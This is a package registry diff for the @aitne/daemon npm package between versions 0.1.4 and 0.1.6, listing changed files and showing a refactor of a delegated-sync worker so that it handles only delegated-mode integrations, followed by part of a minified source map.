@aitne/daemon 0.1.4 → 0.1.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/adapters/notification-manager.d.ts +12 -0
- package/dist/adapters/notification-manager.d.ts.map +1 -1
- package/dist/adapters/notification-manager.js +39 -1
- package/dist/adapters/notification-manager.js.map +1 -1
- package/dist/api/routes/agent.d.ts.map +1 -1
- package/dist/api/routes/agent.js +7 -0
- package/dist/api/routes/agent.js.map +1 -1
- package/dist/api/routes/commands.d.ts.map +1 -1
- package/dist/api/routes/commands.js +16 -13
- package/dist/api/routes/commands.js.map +1 -1
- package/dist/api/routes/context.d.ts.map +1 -1
- package/dist/api/routes/context.js +13 -2
- package/dist/api/routes/context.js.map +1 -1
- package/dist/api/routes/dashboard.d.ts.map +1 -1
- package/dist/api/routes/dashboard.js +28 -0
- package/dist/api/routes/dashboard.js.map +1 -1
- package/dist/api/routes/fs.d.ts +23 -0
- package/dist/api/routes/fs.d.ts.map +1 -0
- package/dist/api/routes/fs.js +156 -0
- package/dist/api/routes/fs.js.map +1 -0
- package/dist/api/routes/fs.logic.d.ts +62 -0
- package/dist/api/routes/fs.logic.d.ts.map +1 -0
- package/dist/api/routes/fs.logic.js +137 -0
- package/dist/api/routes/fs.logic.js.map +1 -0
- package/dist/api/routes/health.d.ts.map +1 -1
- package/dist/api/routes/health.js +4 -2
- package/dist/api/routes/health.js.map +1 -1
- package/dist/api/routes/integrations.d.ts.map +1 -1
- package/dist/api/routes/integrations.js +8 -6
- package/dist/api/routes/integrations.js.map +1 -1
- package/dist/api/routes/metrics.d.ts +1 -0
- package/dist/api/routes/metrics.d.ts.map +1 -1
- package/dist/api/routes/metrics.js +24 -0
- package/dist/api/routes/metrics.js.map +1 -1
- package/dist/api/routes/observations.d.ts.map +1 -1
- package/dist/api/routes/observations.js +538 -25
- package/dist/api/routes/observations.js.map +1 -1
- package/dist/api/routes/skills.d.ts +9 -1
- package/dist/api/routes/skills.d.ts.map +1 -1
- package/dist/api/routes/skills.js +38 -16
- package/dist/api/routes/skills.js.map +1 -1
- package/dist/api/routes/wiki.d.ts +4 -0
- package/dist/api/routes/wiki.d.ts.map +1 -0
- package/dist/api/routes/wiki.js +1075 -0
- package/dist/api/routes/wiki.js.map +1 -0
- package/dist/api/server.d.ts +13 -0
- package/dist/api/server.d.ts.map +1 -1
- package/dist/api/server.js +27 -1
- package/dist/api/server.js.map +1 -1
- package/dist/config.d.ts.map +1 -1
- package/dist/config.js +26 -0
- package/dist/config.js.map +1 -1
- package/dist/core/agent-core.d.ts +25 -0
- package/dist/core/agent-core.d.ts.map +1 -1
- package/dist/core/agent-core.js.map +1 -1
- package/dist/core/backends/backend-router.d.ts +5 -1
- package/dist/core/backends/backend-router.d.ts.map +1 -1
- package/dist/core/backends/backend-router.js +10 -1
- package/dist/core/backends/backend-router.js.map +1 -1
- package/dist/core/backends/claude-code-core.d.ts.map +1 -1
- package/dist/core/backends/claude-code-core.js +62 -4
- package/dist/core/backends/claude-code-core.js.map +1 -1
- package/dist/core/backends/claude-tool-collection.d.ts +1 -1
- package/dist/core/backends/claude-tool-collection.d.ts.map +1 -1
- package/dist/core/backends/claude-tool-collection.js +327 -65
- package/dist/core/backends/claude-tool-collection.js.map +1 -1
- package/dist/core/backends/codex-core.d.ts.map +1 -1
- package/dist/core/backends/codex-core.js +36 -0
- package/dist/core/backends/codex-core.js.map +1 -1
- package/dist/core/backends/gemini-cli-core.d.ts +24 -5
- package/dist/core/backends/gemini-cli-core.d.ts.map +1 -1
- package/dist/core/backends/gemini-cli-core.js +62 -30
- package/dist/core/backends/gemini-cli-core.js.map +1 -1
- package/dist/core/backends/plan-presets.d.ts +3 -1
- package/dist/core/backends/plan-presets.d.ts.map +1 -1
- package/dist/core/backends/plan-presets.js +42 -2
- package/dist/core/backends/plan-presets.js.map +1 -1
- package/dist/core/bang-commands/commands-help.d.ts +5 -0
- package/dist/core/bang-commands/commands-help.d.ts.map +1 -0
- package/dist/core/bang-commands/commands-help.js +69 -0
- package/dist/core/bang-commands/commands-help.js.map +1 -0
- package/dist/core/bang-commands/commands-wiki.d.ts +75 -0
- package/dist/core/bang-commands/commands-wiki.d.ts.map +1 -0
- package/dist/core/bang-commands/commands-wiki.js +574 -0
- package/dist/core/bang-commands/commands-wiki.js.map +1 -0
- package/dist/core/bang-commands/index.d.ts +4 -2
- package/dist/core/bang-commands/index.d.ts.map +1 -1
- package/dist/core/bang-commands/index.js +15 -1
- package/dist/core/bang-commands/index.js.map +1 -1
- package/dist/core/bang-commands/registry.d.ts +47 -4
- package/dist/core/bang-commands/registry.d.ts.map +1 -1
- package/dist/core/bang-commands/registry.js +85 -15
- package/dist/core/bang-commands/registry.js.map +1 -1
- package/dist/core/context-builder.d.ts +17 -0
- package/dist/core/context-builder.d.ts.map +1 -1
- package/dist/core/context-builder.js +64 -6
- package/dist/core/context-builder.js.map +1 -1
- package/dist/core/daemon-api-cli.d.ts.map +1 -1
- package/dist/core/daemon-api-cli.js +50 -2
- package/dist/core/daemon-api-cli.js.map +1 -1
- package/dist/core/dispatcher-message-handler.d.ts.map +1 -1
- package/dist/core/dispatcher-message-handler.js +10 -0
- package/dist/core/dispatcher-message-handler.js.map +1 -1
- package/dist/core/dispatcher-morning-routine.d.ts.map +1 -1
- package/dist/core/dispatcher-morning-routine.js +17 -2
- package/dist/core/dispatcher-morning-routine.js.map +1 -1
- package/dist/core/dispatcher-result-processor.d.ts +23 -0
- package/dist/core/dispatcher-result-processor.d.ts.map +1 -1
- package/dist/core/dispatcher-result-processor.js +124 -5
- package/dist/core/dispatcher-result-processor.js.map +1 -1
- package/dist/core/dispatcher-scheduled-tasks.d.ts.map +1 -1
- package/dist/core/dispatcher-scheduled-tasks.js +114 -80
- package/dist/core/dispatcher-scheduled-tasks.js.map +1 -1
- package/dist/core/dispatcher-types.d.ts +116 -1
- package/dist/core/dispatcher-types.d.ts.map +1 -1
- package/dist/core/dispatcher-types.js.map +1 -1
- package/dist/core/dispatcher.d.ts +36 -0
- package/dist/core/dispatcher.d.ts.map +1 -1
- package/dist/core/dispatcher.js +94 -1
- package/dist/core/dispatcher.js.map +1 -1
- package/dist/core/integration-lifecycle.d.ts.map +1 -1
- package/dist/core/integration-lifecycle.js +6 -8
- package/dist/core/integration-lifecycle.js.map +1 -1
- package/dist/core/metrics.d.ts +127 -0
- package/dist/core/metrics.d.ts.map +1 -1
- package/dist/core/metrics.js +256 -1
- package/dist/core/metrics.js.map +1 -1
- package/dist/core/prompts.d.ts +2 -1
- package/dist/core/prompts.d.ts.map +1 -1
- package/dist/core/prompts.js +40 -0
- package/dist/core/prompts.js.map +1 -1
- package/dist/core/roadmap-validate.js +13 -1
- package/dist/core/roadmap-validate.js.map +1 -1
- package/dist/core/routine-acquisition-plan.d.ts +51 -0
- package/dist/core/routine-acquisition-plan.d.ts.map +1 -1
- package/dist/core/routine-acquisition-plan.js +111 -12
- package/dist/core/routine-acquisition-plan.js.map +1 -1
- package/dist/core/routine-fetch-window-retry.d.ts +109 -0
- package/dist/core/routine-fetch-window-retry.d.ts.map +1 -0
- package/dist/core/routine-fetch-window-retry.js +210 -0
- package/dist/core/routine-fetch-window-retry.js.map +1 -0
- package/dist/core/routine-fetch-window-runner.d.ts +258 -32
- package/dist/core/routine-fetch-window-runner.d.ts.map +1 -1
- package/dist/core/routine-fetch-window-runner.js +1115 -185
- package/dist/core/routine-fetch-window-runner.js.map +1 -1
- package/dist/core/routine-windows.d.ts +19 -4
- package/dist/core/routine-windows.d.ts.map +1 -1
- package/dist/core/routine-windows.js +47 -0
- package/dist/core/routine-windows.js.map +1 -1
- package/dist/core/scheduler.d.ts +50 -2
- package/dist/core/scheduler.d.ts.map +1 -1
- package/dist/core/scheduler.js +88 -7
- package/dist/core/scheduler.js.map +1 -1
- package/dist/core/skill-curation/declarations.d.ts.map +1 -1
- package/dist/core/skill-curation/declarations.js +11 -12
- package/dist/core/skill-curation/declarations.js.map +1 -1
- package/dist/core/skill-source-paths.d.ts +14 -0
- package/dist/core/skill-source-paths.d.ts.map +1 -0
- package/dist/core/skill-source-paths.js +82 -0
- package/dist/core/skill-source-paths.js.map +1 -0
- package/dist/core/skills-compiler.d.ts +18 -0
- package/dist/core/skills-compiler.d.ts.map +1 -1
- package/dist/core/skills-compiler.js +65 -18
- package/dist/core/skills-compiler.js.map +1 -1
- package/dist/core/skills-manifest.d.ts.map +1 -1
- package/dist/core/skills-manifest.js +46 -0
- package/dist/core/skills-manifest.js.map +1 -1
- package/dist/core/system-reset.d.ts +25 -0
- package/dist/core/system-reset.d.ts.map +1 -1
- package/dist/core/system-reset.js +47 -0
- package/dist/core/system-reset.js.map +1 -1
- package/dist/core/wiki/approval-queue.d.ts +31 -0
- package/dist/core/wiki/approval-queue.d.ts.map +1 -0
- package/dist/core/wiki/approval-queue.js +44 -0
- package/dist/core/wiki/approval-queue.js.map +1 -0
- package/dist/core/wiki/bridge.d.ts +74 -0
- package/dist/core/wiki/bridge.d.ts.map +1 -0
- package/dist/core/wiki/bridge.js +405 -0
- package/dist/core/wiki/bridge.js.map +1 -0
- package/dist/core/wiki/compile-lock.d.ts +42 -0
- package/dist/core/wiki/compile-lock.d.ts.map +1 -0
- package/dist/core/wiki/compile-lock.js +55 -0
- package/dist/core/wiki/compile-lock.js.map +1 -0
- package/dist/core/wiki/compile-preview.d.ts +8 -0
- package/dist/core/wiki/compile-preview.d.ts.map +1 -0
- package/dist/core/wiki/compile-preview.js +200 -0
- package/dist/core/wiki/compile-preview.js.map +1 -0
- package/dist/core/wiki/cost-estimate.d.ts +30 -0
- package/dist/core/wiki/cost-estimate.d.ts.map +1 -0
- package/dist/core/wiki/cost-estimate.js +243 -0
- package/dist/core/wiki/cost-estimate.js.map +1 -0
- package/dist/core/wiki/dispatcher.d.ts +48 -0
- package/dist/core/wiki/dispatcher.d.ts.map +1 -0
- package/dist/core/wiki/dispatcher.js +92 -0
- package/dist/core/wiki/dispatcher.js.map +1 -0
- package/dist/core/wiki/git-precompile.d.ts +86 -0
- package/dist/core/wiki/git-precompile.d.ts.map +1 -0
- package/dist/core/wiki/git-precompile.js +96 -0
- package/dist/core/wiki/git-precompile.js.map +1 -0
- package/dist/core/wiki/import-migrate.d.ts +38 -0
- package/dist/core/wiki/import-migrate.d.ts.map +1 -0
- package/dist/core/wiki/import-migrate.js +310 -0
- package/dist/core/wiki/import-migrate.js.map +1 -0
- package/dist/core/wiki/import-probe.d.ts +76 -0
- package/dist/core/wiki/import-probe.d.ts.map +1 -0
- package/dist/core/wiki/import-probe.js +245 -0
- package/dist/core/wiki/import-probe.js.map +1 -0
- package/dist/core/wiki/index-cache.d.ts +39 -0
- package/dist/core/wiki/index-cache.d.ts.map +1 -0
- package/dist/core/wiki/index-cache.js +152 -0
- package/dist/core/wiki/index-cache.js.map +1 -0
- package/dist/core/wiki/multi-url-dispatch.d.ts +52 -0
- package/dist/core/wiki/multi-url-dispatch.d.ts.map +1 -0
- package/dist/core/wiki/multi-url-dispatch.js +72 -0
- package/dist/core/wiki/multi-url-dispatch.js.map +1 -0
- package/dist/core/wiki/wiki-fts.d.ts +75 -0
- package/dist/core/wiki/wiki-fts.d.ts.map +1 -0
- package/dist/core/wiki/wiki-fts.js +265 -0
- package/dist/core/wiki/wiki-fts.js.map +1 -0
- package/dist/core/wiki/workspaces.d.ts +101 -0
- package/dist/core/wiki/workspaces.d.ts.map +1 -0
- package/dist/core/wiki/workspaces.js +352 -0
- package/dist/core/wiki/workspaces.js.map +1 -0
- package/dist/core/wiki/write-strategy.d.ts +70 -0
- package/dist/core/wiki/write-strategy.d.ts.map +1 -0
- package/dist/core/wiki/write-strategy.js +112 -0
- package/dist/core/wiki/write-strategy.js.map +1 -0
- package/dist/core/workdir.d.ts +8 -1
- package/dist/core/workdir.d.ts.map +1 -1
- package/dist/core/workdir.js +4 -1
- package/dist/core/workdir.js.map +1 -1
- package/dist/db/schema.d.ts.map +1 -1
- package/dist/db/schema.js +122 -0
- package/dist/db/schema.js.map +1 -1
- package/dist/db/wiki-store.d.ts +3 -0
- package/dist/db/wiki-store.d.ts.map +1 -0
- package/dist/db/wiki-store.js +7 -0
- package/dist/db/wiki-store.js.map +1 -0
- package/dist/index.js +80 -4
- package/dist/index.js.map +1 -1
- package/dist/messaging/url-extract.d.ts +8 -0
- package/dist/messaging/url-extract.d.ts.map +1 -0
- package/dist/messaging/url-extract.js +41 -0
- package/dist/messaging/url-extract.js.map +1 -0
- package/dist/observers/delegated-sync-worker.d.ts +33 -25
- package/dist/observers/delegated-sync-worker.d.ts.map +1 -1
- package/dist/observers/delegated-sync-worker.js +38 -31
- package/dist/observers/delegated-sync-worker.js.map +1 -1
- package/dist/observers/imminent-event-scheduler.d.ts +20 -7
- package/dist/observers/imminent-event-scheduler.d.ts.map +1 -1
- package/dist/observers/imminent-event-scheduler.js +134 -29
- package/dist/observers/imminent-event-scheduler.js.map +1 -1
- package/dist/safety/always-disallowed.d.ts +65 -0
- package/dist/safety/always-disallowed.d.ts.map +1 -1
- package/dist/safety/always-disallowed.js +106 -10
- package/dist/safety/always-disallowed.js.map +1 -1
- package/dist/safety/audit.d.ts +46 -1
- package/dist/safety/audit.d.ts.map +1 -1
- package/dist/safety/audit.js +79 -16
- package/dist/safety/audit.js.map +1 -1
- package/dist/safety/risk-classifier.d.ts.map +1 -1
- package/dist/safety/risk-classifier.js +29 -0
- package/dist/safety/risk-classifier.js.map +1 -1
- package/dist/settings/runtime-settings.d.ts +12 -1
- package/dist/settings/runtime-settings.d.ts.map +1 -1
- package/dist/settings/runtime-settings.js +59 -1
- package/dist/settings/runtime-settings.js.map +1 -1
- package/package.json +2 -2
|
@@ -170,38 +170,45 @@ const DEFAULT_CADENCES = [
|
|
|
170
170
|
];
|
|
171
171
|
const DEFAULT_CADENCE_INTEGRATIONS = new Set(DEFAULT_CADENCES.map((def) => def.integration));
|
|
172
172
|
/**
|
|
173
|
-
*
|
|
174
|
-
*
|
|
175
|
-
*
|
|
176
|
-
*
|
|
173
|
+
* Worker stand-up predicate. True when at least one cadence-eligible
|
|
174
|
+
* integration is in `delegated` mode with its master kill switch on.
|
|
175
|
+
*
|
|
176
|
+
* Native mode is intentionally excluded — per
|
|
177
|
+
* `docs/design/appendices/native-integration-mode.md:263-266` the worker
|
|
178
|
+
* "only iterates `mode === "delegated"`"; native observations come from
|
|
179
|
+
* the in-turn `routine.fetch_window` pre-pass POSTing to
|
|
180
|
+
* `/api/observations`, not from this worker. The §3.3 invariant
|
|
181
|
+
* ("native MUST NOT call the daemon proxy") is enforced defensively by
|
|
182
|
+
* `DelegatedBackendInvoker.resolvePreconditions`; entering this worker
|
|
183
|
+
* for a native row would just produce a failed `integration_drift_sync`
|
|
184
|
+
* audit row every hourly tick.
|
|
177
185
|
*
|
|
178
186
|
* Used by:
|
|
179
187
|
* - bootstrap (`packages/daemon/src/index.ts`) to decide whether to
|
|
180
188
|
* register the worker on startup;
|
|
181
189
|
* - `applyIntegrationModeChange` (`integration-lifecycle.ts`) to
|
|
182
190
|
* stand the worker up / tear it down as integrations flip in and out
|
|
183
|
-
* of
|
|
191
|
+
* of delegated mode.
|
|
184
192
|
*/
|
|
185
|
-
export function
|
|
193
|
+
export function hasActiveDelegatedSyncIntegration(db, override) {
|
|
186
194
|
const integrations = readIntegrations(db);
|
|
187
195
|
if (override)
|
|
188
196
|
integrations[override.key] = override.state;
|
|
189
197
|
return Object.entries(integrations).some(([key, state]) => DEFAULT_CADENCE_INTEGRATIONS.has(key)
|
|
190
|
-
&&
|
|
191
|
-
|
|
198
|
+
&& state.mode === "delegated"
|
|
199
|
+
&& state.delegatedSyncEnabled !== false);
|
|
192
200
|
}
|
|
193
201
|
/**
|
|
194
|
-
*
|
|
195
|
-
*
|
|
196
|
-
*
|
|
197
|
-
|
|
198
|
-
|
|
199
|
-
|
|
200
|
-
*
|
|
201
|
-
*
|
|
202
|
-
*
|
|
203
|
-
*
|
|
204
|
-
* opt-in is checked separately at the worker's tick gate.
|
|
202
|
+
* Resolve which backend the worker should invoke for a cadence, given
|
|
203
|
+
* the integration's current state. Returns `null` when the integration
|
|
204
|
+
* is not in delegated mode, when its master kill switch is explicitly
|
|
205
|
+
* false, or when its `delegatedBackend` slot is empty. The cadence-level
|
|
206
|
+
* `cadenceEnabled` opt-in is checked separately at the worker's tick gate.
|
|
207
|
+
*
|
|
208
|
+
* Native rows always return null — see `hasActiveDelegatedSyncIntegration`
|
|
209
|
+
* for the rationale. `getStatus` still surfaces the row with
|
|
210
|
+
* `mode='native', backend=null` so the dashboard can show "Native mode —
|
|
211
|
+
* cadence not used" alongside the catalog entry.
|
|
205
212
|
*/
|
|
206
213
|
function backendForCadence(state) {
|
|
207
214
|
if (state.mode === "delegated"
|
|
@@ -209,11 +216,6 @@ function backendForCadence(state) {
|
|
|
209
216
|
&& state.delegatedBackend) {
|
|
210
217
|
return state.delegatedBackend;
|
|
211
218
|
}
|
|
212
|
-
if (state.mode === "native"
|
|
213
|
-
&& state.nativeSyncEnabled !== false
|
|
214
|
-
&& state.nativeBackend) {
|
|
215
|
-
return state.nativeBackend;
|
|
216
|
-
}
|
|
217
219
|
return null;
|
|
218
220
|
}
|
|
219
221
|
export class DelegatedSyncWorker {
|
|
@@ -290,7 +292,7 @@ export class DelegatedSyncWorker {
|
|
|
290
292
|
const ttlContractViolations = [];
|
|
291
293
|
let lastSuccessAt = null;
|
|
292
294
|
let anyTripped = false;
|
|
293
|
-
//
|
|
295
|
+
// Read integration states once per status snapshot so each
|
|
294
296
|
// cadence row can surface the current mode + resolved backend.
|
|
295
297
|
const integrationStates = readIntegrations(this.options.db);
|
|
296
298
|
for (const def of this.cadences) {
|
|
@@ -359,6 +361,10 @@ export class DelegatedSyncWorker {
|
|
|
359
361
|
* is NOT `true`. Cadences the operator opted in run on their own
|
|
360
362
|
* user-set interval via the regular tick loop and are intentionally
|
|
361
363
|
* skipped here so we don't spend tokens twice for the same partition.
|
|
364
|
+
* Native rows are skipped by `backendForCadence` returning null — their
|
|
365
|
+
* observations come from the in-turn `routine.fetch_window` pre-pass
|
|
366
|
+
* instead, see `docs/design/appendices/native-integration-mode.md`
|
|
367
|
+
* §"Polling, observers, and the hourly-check threshold".
|
|
362
368
|
*
|
|
363
369
|
* Why this exists: when every cadence is disabled (the post-Phase-9
|
|
364
370
|
* default), Gmail / Notion observations would otherwise dry up entirely
|
|
@@ -440,12 +446,13 @@ export class DelegatedSyncWorker {
|
|
|
440
446
|
return { ok: false, error: "tick_in_progress" };
|
|
441
447
|
const integrations = readIntegrations(this.options.db);
|
|
442
448
|
const integrationState = integrations[def.integration];
|
|
443
|
-
//
|
|
444
|
-
//
|
|
445
|
-
//
|
|
446
|
-
//
|
|
447
|
-
|
|
448
|
-
|
|
449
|
+
// Kill-switch is checked before the resolver so its dedicated error
|
|
450
|
+
// code (`integration_disabled`) is surfaced; `backendForCadence`
|
|
451
|
+
// would otherwise collapse a kill-switched row into the generic
|
|
452
|
+
// `integration_not_synchronizable` bucket. Native rows fall through
|
|
453
|
+
// to that generic code by design — the worker has no role in native
|
|
454
|
+
// mode (see `hasActiveDelegatedSyncIntegration`).
|
|
455
|
+
if (integrationState.mode === "delegated" && integrationState.delegatedSyncEnabled === false) {
|
|
449
456
|
return { ok: false, error: "integration_disabled" };
|
|
450
457
|
}
|
|
451
458
|
const backend = backendForCadence(integrationState);
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"delegated-sync-worker.js","sourceRoot":"","sources":["../../src/observers/delegated-sync-worker.ts"],"names":[],"mappings":"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